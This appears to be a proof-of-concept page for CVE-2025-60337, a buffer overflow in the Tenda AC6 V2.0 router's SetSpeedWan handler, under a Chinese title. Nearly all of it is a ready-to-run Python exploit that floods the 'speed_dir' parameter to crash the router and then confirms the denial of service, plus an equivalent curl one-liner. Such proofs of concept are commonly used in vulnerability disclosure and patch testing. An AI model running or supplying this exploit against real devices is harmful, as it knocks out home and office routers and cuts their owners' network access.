CVE-2025-60337 Tenda AC6 V2.0 缓冲区溢出漏洞导致拒绝服务

import requests # CVE-2025-60337 PoC - Tenda AC6 V2.0 SetSpeedWan Buffer Overflow # Target: Tenda AC6 V2.0 Router # Vulnerability: Buffer overflow in speed_dir parameter of SetSpeedWan function # Impact: Denial of Service target_ip = "192.168.0.1" # Default Tenda router IP target_port = 80 target_url = f"http://{target_ip}/goform/SetSpeedWan" # Construct malicious payload with oversized speed_dir parameter # The buffer overflow occurs when input exceeds the buffer size payload = { "speed_dir": "A" * 1000, # Overflow payload - may need adjustment based on buffer size "operation": "save" } try: print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload length: {len(payload['speed_dir'])}") response = requests.post(target_url, data=payload, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") # Check if router is still responsive check_url = f"http://{target_ip}/" try: check_response = requests.get(check_url, timeout=5) print("[*] Router is still responsive") except: print("[!] Router appears to be down - DoS successful") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") # Alternative PoC with curl command: # curl -X POST http://192.168.0.1/goform/SetSpeedWan -d "speed_dir=$(python3 -c 'print("A"*1000)')"